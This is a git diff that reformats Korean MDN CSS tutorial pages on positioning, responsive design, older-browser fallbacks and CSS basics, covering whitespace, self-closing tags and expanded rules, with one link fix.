 ```css hidden
@@ -277,13 +331,31 @@ z-index: 1;
 ```html hidden
 <h1>z-인덱스</h1>
 
-<p>나는 기본 볼록 수준 요소입니다. 나와 인접한 블록 수준 요소는 내 아래 새 줄에 자리합니다.</p>
-
-<p class="positioned">이제 나는 <code>&lt;html&gt;</code> 요소가 아닌 <code>&lt;body&gt;</code> 요소를 기준으로 비례하여 절대적 위치잡기합니다.</p>
-
-<p>우리는 여백으로 구분됩니다. 여백 축소로 때문에 우리의 여백 중의 하나의 너비로 구분됩니다. 두게의 여백이 아니라.</p>
-
-<p>인라인 요소 <span>이 것과 같은</span> 그리고 <span>이것이</span> 차례로 같은 라인에, 그리고 같은 라인에 공간이 있을 경우 인접한 텍스트 노드에 자리를 잡게 됩니다. 인라인 요소가 대열이탈할 경우 <span>(이 경우와 같이 텍스트를 포함했을 경우) 가능하면 새 줄로 접혀들어갑니다.)</span>, 그렇지 않으면 새로운 라인으로 계속 진행할 것입니다. 이 이미지가 하는 것처럼: <img src="long.jpg"></p>
+<p>
+  나는 기본 볼록 수준 요소입니다. 나와 인접한 블록 수준 요소는 내 아래 새 줄에
+  자리합니다.
+</p>
+
+<p class="positioned">
+  이제 나는 <code>&lt;html&gt;</code> 요소가 아닌
+  <code>&lt;body&gt;</code> 요소를 기준으로 비례하여 절대적 위치잡기합니다.
+</p>
+
+<p>
+  우리는 여백으로 구분됩니다. 여백 축소로 때문에 우리의 여백 중의 하나의 너비로
+  구분됩니다. 두게의 여백이 아니라.
+</p>
+
+<p>
+  인라인 요소 <span>이 것과 같은</span> 그리고 <span>이것이</span> 차례로 같은
+  라인에, 그리고 같은 라인에 공간이 있을 경우 인접한 텍스트 노드에 자리를 잡게
+  됩니다. 인라인 요소가 대열이탈할 경우
+  <span
+    >(이 경우와 같이 텍스트를 포함했을 경우) 가능하면 새 줄로
+    접혀들어갑니다.)</span
+  >, 그렇지 않으면 새로운 라인으로 계속 진행할 것입니다. 이 이미지가 하는
+  것처럼: <img src="long.jpg" />
+</p>
 ```
 
 ```css hidden
@@ -371,13 +443,28 @@ p:nth-of-type(1) {
 ```html hidden
 <h1>고정 위치잡기</h1>
 
-<p>나는 기본 볼록 수준 요소입니다. 나와 인접한 블록 수준 요소는 내 아래 새 줄에 자리합니다.</p>
+<p>
+  나는 기본 볼록 수준 요소입니다. 나와 인접한 블록 수준 요소는 내 아래 새 줄에
+  자리합니다.
+</p>
 
 <p class="positioned">나는 더 이상 특별한 위치를 차지하지 않습니다...</p>
 
-<p>우리는 여백으로 구분됩니다. 여백 축소로 때문에 우리의 여백 중의 하나의 너비로 구분됩니다. 두게의 여백이 아니라.</p>
+<p>
+  우리는 여백으로 구분됩니다. 여백 축소로 때문에 우리의 여백 중의 하나의 너비로
+  구분됩니다. 두게의 여백이 아니라.
+</p>
 
-<p>인라인 요소 <span>이 것과 같은</span> 그리고 <span>이것이</span> 차례로 같은 라인에, 그리고 같은 라인에 공간이 있을 경우 인접한 텍스트 노드에 자리를 잡게 됩니다. 인라인 요소가 대열이탈할 경우 <span>(이 경우와 같이 텍스트를 포함했을 경우) 가능하면 새 줄로 접혀들어갑니다.)</span>, 그렇지 않으면 새로운 라인으로 계속 진행할 것입니다. 이 이미지가 하는 것처럼: <img src="long.jpg"></p>
+<p>
+  인라인 요소 <span>이 것과 같은</span> 그리고 <span>이것이</span> 차례로 같은
+  라인에, 그리고 같은 라인에 공간이 있을 경우 인접한 텍스트 노드에 자리를 잡게
+  됩니다. 인라인 요소가 대열이탈할 경우
+  <span
+    >(이 경우와 같이 텍스트를 포함했을 경우) 가능하면 새 줄로
+    접혀들어갑니다.)</span
+  >, 그렇지 않으면 새로운 라인으로 계속 진행할 것입니다. 이 이미지가 하는
+  것처럼: <img src="long.jpg" />
+</p>
 ```
 
 ```css hidden
@@ -424,13 +511,41 @@ p:nth-of-type(1) {
 ```html hidden
 <h1>흡착 위치잡기</h1>
 
-<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
+<p>
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam
+  dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus
+  ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus
+  laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum,
+  tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus
+  neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat
+  volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros
+  pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec
+  lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.
+</p>
 
 <div class="positioned">흡착</div>
 
-<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
-
-<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
+<p>
+  Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+  ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+  est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+  tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus
+  sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis
+  vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque
+  penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+</p>
+
+<p>
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam
+  dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus
+  ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus
+  laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum,
+  tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus
+  neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat
+  volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros
+  pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec
+  lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.
+</p>
 ```
 
 ```css hidden
@@ -440,8 +555,8 @@ body {
 }
 
 .positioned {
-  background: rgba(255,84,104,.3);
-  border: 2px solid rgb(255,84,104);
+  background: rgba(255, 84, 104, 0.3);
+  border: 2px solid rgb(255, 84, 104);
   padding: 10px;
   margin: 10px;
   border-radius: 5px;
@@ -464,31 +579,31 @@ body {
 <h1>흡착 위치잡기</h1>
 
 <dl>
-    <dt>A</dt>
-    <dd>Apple</dd>
-    <dd>Ant</dd>
-    <dd>Altimeter</dd>
-    <dd>Airplane</dd>
-    <dt>B</dt>
-    <dd>Bird</dd>
-    <dd>Buzzard</dd>
-    <dd>Bee</dd>
-    <dd>Banana</dd>
-    <dd>Beanstalk</dd>
-    <dt>C</dt>
-    <dd>Calculator</dd>
-    <dd>Cane</dd>
-    <dd>Camera</dd>
-    <dd>Camel</dd>
-    <dt>D</dt>
-    <dd>Duck</dd>
-    <dd>Dime</dd>
-    <dd>Dipstick</dd>
-    <dd>Drone</dd>
-    <dt>E</dt>
-    <dd>Egg</dd>
-    <dd>Elephant</dd>
-    <dd>Egret</dd>
+  <dt>A</dt>
+  <dd>Apple</dd>
+  <dd>Ant</dd>
+  <dd>Altimeter</dd>
+  <dd>Airplane</dd>
+  <dt>B</dt>
+  <dd>Bird</dd>
+  <dd>Buzzard</dd>
+  <dd>Bee</dd>
+  <dd>Banana</dd>
+  <dd>Beanstalk</dd>
+  <dt>C</dt>
+  <dd>Calculator</dd>
+  <dd>Cane</dd>
+  <dd>Camera</dd>
+  <dd>Camel</dd>
+  <dt>D</dt>
+  <dd>Duck</dd>
+  <dd>Dime</dd>
+  <dd>Dipstick</dd>
+  <dd>Drone</dd>
+  <dt>E</dt>
+  <dd>Egg</dd>
+  <dd>Elephant</dd>
+  <dd>Egret</dd>
 </dl>
 ```
 
@@ -528,31 +643,31 @@ dt {
 <h1>흡착 위치잡기</h1>
 
 <dl>
-    <dt>A</dt>
-    <dd>Apple</dd>
-    <dd>Ant</dd>
-    <dd>Altimeter</dd>
-    <dd>Airplane</dd>
-    <dt>B</dt>
-    <dd>Bird</dd>
-    <dd>Buzzard</dd>
-    <dd>Bee</dd>
-    <dd>Banana</dd>
-    <dd>Beanstalk</dd>
-    <dt>C</dt>
-    <dd>Calculator</dd>
-    <dd>Cane</dd>
-    <dd>Camera</dd>
-    <dd>Camel</dd>
-    <dt>D</dt>
-    <dd>Duck</dd>
-    <dd>Dime</dd>
-    <dd>Dipstick</dd>
-    <dd>Drone</dd>
-    <dt>E</dt>
-    <dd>Egg</dd>
-    <dd>Elephant</dd>
-    <dd>Egret</dd>
+  <dt>A</dt>
+  <dd>Apple</dd>
+  <dd>Ant</dd>
+  <dd>Altimeter</dd>
+  <dd>Airplane</dd>
+  <dt>B</dt>
+  <dd>Bird</dd>
+  <dd>Buzzard</dd>
+  <dd>Bee</dd>
+  <dd>Banana</dd>
+  <dd>Beanstalk</dd>
+  <dt>C</dt>
+  <dd>Calculator</dd>
+  <dd>Cane</dd>
+  <dd>Camera</dd>
+  <dd>Camel</dd>
+  <dt>D</dt>
+  <dd>Duck</dd>
+  <dd>Dime</dd>
+  <dd>Dipstick</dd>
+  <dd>Drone</dd>
+  <dt>E</dt>
+  <dd>Egg</dd>
+  <dd>Elephant</dd>
+  <dd>Egret</dd>
 </dl>
 ```
 
diff --git a/files/ko/learn/css/css_layout/responsive_design/index.md b/files/ko/learn/css/css_layout/responsive_design/index.md
index d28a3cb43d6e25..8744e0235b42e9 100644
--- a/files/ko/learn/css/css_layout/responsive_design/index.md
+++ b/files/ko/learn/css/css_layout/responsive_design/index.md
@@ -262,7 +262,7 @@ h1 {
 응답형 페이지의 HTML 소스를 보면 일반적으로 문서의 `<head>`에서 다음과 같은 {{htmlelement("meta")}} 태그를 볼 수 있다.
 
 ```html
-<meta name="viewport" content="width=device-width,initial-scale=1">
+<meta name="viewport" content="width=device-width,initial-scale=1" />
 ```
 
 이 메타 태그는 뷰포트의 너비를 장치의 너비로 설정하여 문서를 의도한 크기의 100%로 확장해야 한다고 모바일 브라우저에게 알려줍니다. 이로써 여러분이 의도한 대로 모바일에 최적화된 크기로 문서를 표시합니다.
diff --git a/files/ko/learn/css/css_layout/supporting_older_browsers/index.md b/files/ko/learn/css/css_layout/supporting_older_browsers/index.md
index 6c235637c413c1..f28396aca18541 100644
--- a/files/ko/learn/css/css_layout/supporting_older_browsers/index.md
+++ b/files/ko/learn/css/css_layout/supporting_older_browsers/index.md
@@ -62,15 +62,17 @@ original_slug: Learn/CSS/CSS_layout/이전_브라우저_지원
 
 ## CSS로 대체 페이지 생성하기
 
-CSS 규격에는 두 가지 레이아웃 메서드가 동일한 항목에 적용될 때 브라우저가 수행하는 작업을 설명하는 정보가 포함되어 있습니다. 즉, 부동체 항목이 한편으로는 CSS grid 레이아웃을 사용하는 grid 항목인 경우 발생하는 상황에 대한 정의가 있음을 의미합니다. 이 정보가 브라우저가 이해하지 못하는 CSS를 무시한다는 지식과 결합되어, 이미 다루었던 [레거시 기술](/ko/docs/Learn/CSS/CSS_layout/레거시_레이아웃_메서드)을 사용하여 간단한 레이아웃을 생성할 수 있는 방법이 있습니다. 그런 다음 이를 최신 브라우저에서는 grid 레이아웃으로 덮어씁니다.
+CSS 규격에는 두 가지 레이아웃 메서드가 동일한 항목에 적용될 때 브라우저가 수행하는 작업을 설명하는 정보가 포함되어 있습니다. 즉, 부동체 항목이 한편으로는 CSS grid 레이아웃을 사용하는 grid 항목인 경우 발생하는 상황에 대한 정의가 있음을 의미합니다. 이 정보가 브라우저가 이해하지 못하는 CSS를 무시한다는 지식과 결합되어, 이미 다루었던 [레거시 기술](/ko/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods)을 사용하여 간단한 레이아웃을 생성할 수 있는 방법이 있습니다. 그런 다음 이를 최신 브라우저에서는 grid 레이아웃으로 덮어씁니다.
 
 아래 예에서는 세 개의 `<div>` 부동체를 행으로 표시했습니다. [CSS grid 레이아웃](/ko/docs/Learn/CSS/CSS_layout/Grids)을 지원하지 않는 브라우저는 상자 행을 <ruby><em>부동 레이아웃</em><rp> (</rp><rt>浮動 組版</rt><rp>) </rp></ruby>으로 간주합니다. grid 항목이 되는 부동 항목은 부동 동작을 상실합니다. 즉, `.wrapper` 클레스를 grid 컨테이너로 전환하면 부동 항목이 grid 항목이 됩니다. 브라우저가 grid 레이아웃을 지원하는 경우 grid 디스플레이를 표시합니다. 지원하지 않으면 `display: grid` 관련 속성은 무시되고 부동 레이아웃이 사용됩니다.
 
 ```css
-* {box-sizing: border-box;}
+* {
+  box-sizing: border-box;
+}
 
 .wrapper {
-  background-color: rgb(79,185,227);
+  background-color: rgb(79, 185, 227);
   padding: 10px;
   max-width: 400px;
   display: grid;
@@ -80,7 +82,7 @@ CSS 규격에는 두 가지 레이아웃 메서드가 동일한 항목에 적용
 .item {
   float: left;
   border-radius: 5px;
-  background-color: rgb(207,232,220);
+  background-color: rgb(207, 232, 220);
   padding: 1em;
 }
 ```
@@ -116,10 +118,12 @@ CSS 규격에는 두 가지 레이아웃 메서드가 동일한 항목에 적용
 부동 레이아웃에서 백분율은 컨테이너를 기준으로 계산됩니다. 33.333%는 컨테이너 너비의 3 분의 1입니다. 그러나 grid에서는 항목이 배치된 grid 영역을 기준으로 33.333%가 계산되므로 grid 레이아웃이 도입되면 실제로 원하는 크기의 3분의 1이 됩니다.
 
 ```css
-* {box-sizing: border-box;}
+* {
+  box-sizing: border-box;
+}
 
 .wrapper {
-  background-color: rgb(79,185,227);
+  background-color: rgb(79, 185, 227);
   padding: 10px;
   max-width: 400px;
   display: grid;
@@ -129,7 +133,7 @@ CSS 규격에는 두 가지 레이아웃 메서드가 동일한 항목에 적용
 .item {
   float: left;
   border-radius: 5px;
-  background-color: rgb(207,232,220);
+  background-color: rgb(207, 232, 220);
   padding: 1em;
   width: 33.333%;
 }
@@ -154,10 +158,12 @@ feature queries를 사용하면 브라우저가 특정 CSS 기능을 지원하
 위의 예제에 feature query를 추가하면 grid가 지원됨을 알고 있는 경우 이 feature query를 사용하여 항목 너비를 `auto`으로 다시 설정할 수 있습니다.
 
 ```css
-* {box-sizing: border-box;}
+* {
+  box-sizing: border-box;
+}
 
 .wrapper {
-  background-color: rgb(79,185,227);
+  background-color: rgb(79, 185, 227);
   padding: 10px;
   max-width: 400px;
   display: grid;
@@ -167,14 +173,14 @@ feature queries를 사용하면 브라우저가 특정 CSS 기능을 지원하
 .item {
   float: left;
   border-radius: 5px;
-  background-color: rgb(207,232,220);
+  background-color: rgb(207, 232, 220);
   padding: 1em;
   width: 33.333%;
 }
 
 @supports (display: grid) {
   .item {
-      width: auto;
+    width: auto;
   }
 }
 ```
diff --git a/files/ko/learn/css/first_steps/getting_started/index.md b/files/ko/learn/css/first_steps/getting_started/index.md
index 688e4f0ff6a64d..693eaed57d8a22 100644
--- a/files/ko/learn/css/first_steps/getting_started/index.md
+++ b/files/ko/learn/css/first_steps/getting_started/index.md
@@ -45,27 +45,27 @@ slug: Learn/CSS/First_steps/Getting_started
 ```html
 <!doctype html>
 <html lang="ko-KR">
-<head>
-    <meta charset="utf-8">
+  <head>
+    <meta charset="utf-8" />
     <title>CSS로 시작하기</title>
-</head>
-
-<body>
+  </head>
 
+  <body>
     <h1>레벨 1 제목입니다</h1>
 
-    <p>이것은 단락입니다. 본문에는 <span>span 요소</span>와 <a href="http://example.com">링크</a>가 있습니다.</p>
+    <p>
+      이것은 단락입니다. 본문에는 <span>span 요소</span>와
+      <a href="http://example.com">링크</a>가 있습니다.
+    </p>
 
     <p>이것은 두 번째 단락입니다. <em>강조된</em> 요소를 포함합니다.</p>
 
     <ul>
-        <li>항목 하나</li>
-        <li>항목 둘</li>
-        <li>항목 <em>셋</em></li>
+      <li>항목 하나</li>
+      <li>항목 둘</li>
+      <li>항목 <em>셋</em></li>
     </ul>
-
-</body>
-
+  </body>
 </html>
 ```
 
@@ -80,7 +80,7 @@ HTML 문서와 같은 폴더에 파일을 만들고 `styles.css` 로 저장하
 `styles.css` 파일을 `index.html` 에 링크하려면, HTML 문서의 {{htmlelement("head")}} 안에 다음 행을 추가하십시오:
 
 ```html
-<link rel="stylesheet" href="styles.css">
+<link rel="stylesheet" href="styles.css" />
 ```
 
 이 {{htmlelement("link")}} 요소는 `rel` 속성을 사용하는 스타일 시트와 해당 스타일 시트의 위치를 `href` 속성의 값으로 브라우저에게 알려줍니다. `styles.css` 에 규칙을 추가하여 CSS 가 작동하는지 테스트 할 수 있습니다. 코드 편집기를 사용하여 CSS 파일에 다음을 추가하십시오:
@@ -108,8 +108,9 @@ p {
 선택자를 쉼표로 구분하여 여러 선택자를 한 번에 대상으로 지정할 수 있습니다. 모든 단락과 모든 목록 항목을 녹색으로 만들려면 규칙은 다음과 같습니다:
 
 ```css
-p, li {
-    color: green;
+p,
+li {
+  color: green;
 }
 ```
 
diff --git a/files/ko/learn/css/first_steps/how_css_is_structured/index.md b/files/ko/learn/css/first_steps/how_css_is_structured/index.md
index 22d21d77c41c42..17e1e180131ce7 100644
--- a/files/ko/learn/css/first_steps/how_css_is_structured/index.md
+++ b/files/ko/learn/css/first_steps/how_css_is_structured/index.md
@@ -50,12 +50,12 @@ CSS 가 무엇인지, 그리고 CSS 의 기본 사용법에 대해 여러분은
 외부 스타일 시트는 CSS 확장자가 `.css` 인 별도의 파일로 작성되고, HTML `<link>` 요소에서 참조하는 경우입니다:
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
-    <meta charset="utf-8">
+    <meta charset="utf-8" />
     <title>나의 CSS 실험</title>
-    <link rel="stylesheet" href="styles.css">
+    <link rel="stylesheet" href="styles.css" />
   </head>
   <body>
     <h1>헬로우 월드!</h1>
@@ -84,13 +84,13 @@ p {
 
 ```html
 <!-- 현재 폴더의 styles 라는 하위 폴더 안에 -->
-<link rel="stylesheet" href="styles/style.css">
+<link rel="stylesheet" href="styles/style.css" />
 
 <!-- 현재 폴더의 styles 라는 하위 폴더에 있는 general 이라는 하위 폴더 안에 -->
-<link rel="stylesheet" href="styles/general/style.css">
+<link rel="stylesheet" href="styles/general/style.css" />
 
 <!-- 상위 폴더로 올라간 다음, styles 라는 하위 폴더 내로 이동 -->
-<link rel="stylesheet" href="../styles/style.css">
+<link rel="stylesheet" href="../styles/style.css" />
 ```
 
 ### 내부 스타일 시트
@@ -100,10 +100,10 @@ p {
 따라서 HTML 은 다음과 같습니다:
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
-    <meta charset="utf-8">
+    <meta charset="utf-8" />
     <title>나의 CSS 실험</title>
     <style>
       h1 {
@@ -131,14 +131,16 @@ p {
 인라인 스타일은 `style` 속성 내에 포함된 한 요소에만 영향을 주는 CSS 선언입니다:
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
-    <meta charset="utf-8">
+    <meta charset="utf-8" />
     <title>나의 CSS 실험</title>
   </head>
   <body>
-    <h1 style="color: blue;background-color: yellow;border: 1px solid black;">헬로우 월드!</h1>
+    <h1 style="color: blue;background-color: yellow;border: 1px solid black;">
+      헬로우 월드!
+    </h1>
     <p style="color:red;">이것은 나의 첫 번째 CSS 예제입니다</p>
   </body>
 </html>
@@ -155,17 +157,15 @@ p {
 **index.html:**
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html lang="ko">
   <head>
-    <meta charset="utf-8">
+    <meta charset="utf-8" />
     <title>나의 CSS 실험</title>
-    <link rel="stylesheet" href="styles.css">
+    <link rel="stylesheet" href="styles.css" />
   </head>
   <body>
-
     <p>여기에 테스트용 HTML 을 작성하십시오</p>
-
   </body>
 </html>
 ```
@@ -319,7 +319,7 @@ CSS 속성을 특정 값으로 설정하는 것은 CSS 언어의 핵심 기능
   width: 100px;
   height: 100px;
   background-color: rebeccapurple;
-  transform: rotate(0.8turn)
+  transform: rotate(0.8turn);
 }
 ```
 
@@ -338,7 +338,7 @@ CSS 속성을 특정 값으로 설정하는 것은 CSS 언어의 핵심 기능
 아직, 우리는 [`@rules`](/ko/docs/Web/CSS/At-rule) ("at-rules" 로 발음) 가 발생하지 않았습니다. 이것들은 CSS 에 행동 방법에 대한 지침을 제공하는 특수 규칙입니다. 일부 `@rules` 는 규칙 이름과 값으로 단순합니다. 예를 들어, 추가 스타일 시트를 기본 CSS 스타일 시트로 가져오려면 `@import` 를 사용할 수 있습니다:
 
 ```css
-@import 'styles2.css';
+@import "styles2.css";
 ```
 
 접하게 될 가장 일반적인 `@rules` 중 하나는 `@media` 입니다. 이는 특정 조건이 참일 때만 (예: 화면 해상도가 일정 폭 이상이거나 화면이 일정 폭 보다 넓을 때) CSS 를 적용할 수 있는 [미디어 쿼리](/ko/docs/Web/CSS/Media_Queries) 를 사용할 수 있습니다.
@@ -414,7 +414,10 @@ CSS 의 주석은 `/*` 로 시작하고 `*/` 로 끝납니다. 아래 코드 블
 /* 기본 요소 스타일링 처리 */
 /* -------------------------------------------------------------------------------------------- */
 body {
-  font: 1em/150% Helvetica, Arial, sans-serif;
+  font:
+    1em/150% Helvetica,
+    Arial,
+    sans-serif;
   padding: 1em;
   margin: 0 auto;
   max-width: 33em;
@@ -429,11 +432,14 @@ body {
   }
 }
 
-h1 {font-size: 1.5em;}
+h1 {
+  font-size: 1.5em;
+}
 
 /* DOM 에 중첩된 특정 요소 처리  */
 /* -------------------------------------------------------------------------------------------- */
-div p, #id:first-line {
+div p,
+#id:first-line {
   background-color: red;
   border-radius: 3px;
 }
@@ -448,7 +454,7 @@ div p + p {
 }
 ```
 
-주석은 테스트 목적으로 코드의 특정 부분을 일시적으로 ***주석 처리** *하는 경우에도 유용합니다. 예를 들어, 코드의 어느 부분에서 오류가 발생했는지 확인하려는 경우. 다음 예제에서는 `.special` 선택자에 대한 규칙을 주석 처리 했습니다.
+주석은 테스트 목적으로 코드의 특정 부분을 일시적으로 _주석 처리_ 하는 경우에도 유용합니다. 예를 들어, 코드의 어느 부분에서 오류가 발생했는지 확인하려는 경우. 다음 예제에서는 `.special` 선택자에 대한 규칙을 주석 처리 했습니다.
 
 ```css
 /*.special {
@@ -503,14 +509,37 @@ div p + p {
 ```
 
 ```css
-body {font: 1em/150% Helvetica, Arial, sans-serif; padding: 1em; margin: 0 auto; max-width: 33em;}
-@media (min-width: 70em) { body {font-size: 130%;} }
+body {
+  font:
+    1em/150% Helvetica,
+    Arial,
+    sans-serif;
+  padding: 1em;
+  margin: 0 auto;
+  max-width: 33em;
+}
+@media (min-width: 70em) {
+  body {
+    font-size: 130%;
+  }
+}
 
-h1 {font-size: 1.5em;}
+h1 {
+  font-size: 1.5em;
+}
 
-div p, #id:first-line {background-color: red; border-radius: 3px;}
-div p {margin: 0; padding: 1em;}
-div p + p {padding-top: 0;}
+div p,
+#id:first-line {
+  background-color: red;
+  border-radius: 3px;
+}
+div p {
+  margin: 0;
+  padding: 1em;
+}
+div p + p {
+  padding-top: 0;
+}
 ```
 
 대부분의 공백을 제거한 상태에서 정확히 동일한 CSS 를 작성할 수 있습니다. 이것은 첫 번째 예제와 기능적으로 동일하지만 읽기가 다소 어렵다는 데 동의합니다.
diff --git a/files/ko/learn/css/first_steps/how_css_works/index.md b/files/ko/learn/css/first_steps/how_css_works/index.md
index 73c1442a9e7a8b..9bbd4d13d12e28 100644
--- a/files/ko/learn/css/first_steps/how_css_works/index.md
+++ b/files/ko/learn/css/first_steps/how_css_works/index.md
@@ -92,7 +92,9 @@ P
 {{EmbedLiveSample('A_real_DOM_representation', '100%', 55)}}
 
 ```css hidden
-p {margin:0;}
+p {
+  margin: 0;
+}
 ```
 
 ## DOM 에 CSS 적용하기
@@ -138,7 +140,7 @@ span {
 아래 예에서 나는 영국 영어 철자를 색상에 사용했는데, 그 속성은 인식되지 않기 때문에 유효하지 않습니다. 그래서 내 단락은 파란색으로 표시되지 않았습니다. 그러나 다른 모든 CSS 가 적용 되었습니다. 유효하지 않은 라인만 무시됩니다.
 
 ```html
-<p> 나는 이 텍스트를 크고 굵은 파란색으로 표시하고 싶습니다.</p>
+<p>나는 이 텍스트를 크고 굵은 파란색으로 표시하고 싶습니다.</p>
 ```
 
 ```css
diff --git a/files/ko/learn/css/first_steps/index.md b/files/ko/learn/css/first_steps/index.md
index 58989dac3cda13..587f5ed393f30b 100644
--- a/files/ko/learn/css/first_steps/index.md
+++ b/files/ko/learn/css/first_steps/index.md
@@ -2,6 +2,7 @@
 title: CSS 첫 번째 단계
 slug: Learn/CSS/First_steps
 ---
+
 {{LearnSidebar}}
 
 CSS (Cascading Style Sheets) 는 콘텐츠의 글꼴, 색상, 크기 및 간격을 변경하거나 여러 열로 분할하거나 애니메이션 및 기타 장식 기능을 추가하는 등의 웹 페이지 스타일 및 레이아웃에 사용됩니다. 이 모듈은 작동 방식, 구문의 모양 및 HTML에 스타일을 추가하기 위해, 이를 사용하는 방법에 대한 기본 사항을 통해 CSS 를 마스터 하는 과정을 부드럽게 시작합니다.
diff --git a/files/ko/learn/css/first_steps/styling_a_biography_page/index.md b/files/ko/learn/css/first_steps/styling_a_biography_page/index.md
index c0a5649378b1bc..28907064ef9379 100644
--- a/files/ko/learn/css/first_steps/styling_a_biography_page/index.md
+++ b/files/ko/learn/css/first_steps/styling_a_biography_page/index.md
@@ -69,10 +69,10 @@ CSS 를 사용하여 내가 사용한 속성 값을 변경하여 이 전기(biog
 1. 작업을 [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/) 또는 [Glitch](https://glitch.com/) 와 같은 온라인 공유 가능 편집기에 입력합니다.
 2. [MDN 토론 포럼 학습 카데고리](https://discourse.mozilla.org/c/mdn/learn) 에 평가 및 도움을 요청하는 게시물을 작성 하십시오. 게시물에는 다음이 포함되어야 합니다:
 
-    - "CSS 첫 단계에 대한 평가가 필요했습니다" 와 같은 설명적인 제목입니다.
-    - 당신이 이미 시도한 내용 및 당신이 우리가 무엇을 하기를 원하는지에 대한 세부 사항 입니다. 예: 당신이 정체되어 있고 도움이 필요하거나 평가를 원하는지에 대한 세부사항들.
-    - 온라인 공유 가능 편집기 (위의 1 단계에서 언급한) 에서 평가하거나 도움이 필요한 예에 대한 링크입니다. 이것은 좋은 습관입니다 — 코드가 보이지 않으면 코딩에 문제가 있는 사람을 돕는 것이 매우 어렵습니다.
-    - 실제 작업 또는 평가 페이지에 대한 링크로 도움이 필요한 질문을 찾을 수 있습니다.
+   - "CSS 첫 단계에 대한 평가가 필요했습니다" 와 같은 설명적인 제목입니다.
+   - 당신이 이미 시도한 내용 및 당신이 우리가 무엇을 하기를 원하는지에 대한 세부 사항 입니다. 예: 당신이 정체되어 있고 도움이 필요하거나 평가를 원하는지에 대한 세부사항들.
+   - 온라인 공유 가능 편집기 (위의 1 단계에서 언급한) 에서 평가하거나 도움이 필요한 예에 대한 링크입니다. 이것은 좋은 습관입니다 — 코드가 보이지 않으면 코딩에 문제가 있는 사람을 돕는 것이 매우 어렵습니다.
+   - 실제 작업 또는 평가 페이지에 대한 링크로 도움이 필요한 질문을 찾을 수 있습니다.
 
 ## 다음은 뭐죠?
 
diff --git a/files/ko/learn/css/first_steps/what_is_css/html-example.png b/files/ko/learn/css/first_steps/what_is_css/html-example.png
deleted file mode 100644
index 788820a6dcfcc9..00000000000000
Binary files a/files/ko/learn/css/first_steps/what_is_css/html-example.png and /dev/null differ
diff --git a/files/ko/learn/css/howto/css_faq/index.md b/files/ko/learn/css/howto/css_faq/index.md
index 909d39d8b87d7f..1bdf93ad548d0a 100644
--- a/files/ko/learn/css/howto/css_faq/index.md
+++ b/files/ko/learn/css/howto/css_faq/index.md
@@ -18,7 +18,7 @@ Gecko-based browsers, have a third _[Almost Standards Mode](/ko/docs/Mozilla/Gec
 The standard `DOCTYPE` declaration that will trigger standards mode is:
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 ```
 
 When at all possible, you should just use the above doctype. There are other valid legacy doctypes that will trigger Standards or Almost Standards mode:
diff --git a/files/ko/learn/css/howto/generated_content/index.md b/files/ko/learn/css/howto/generated_content/index.md
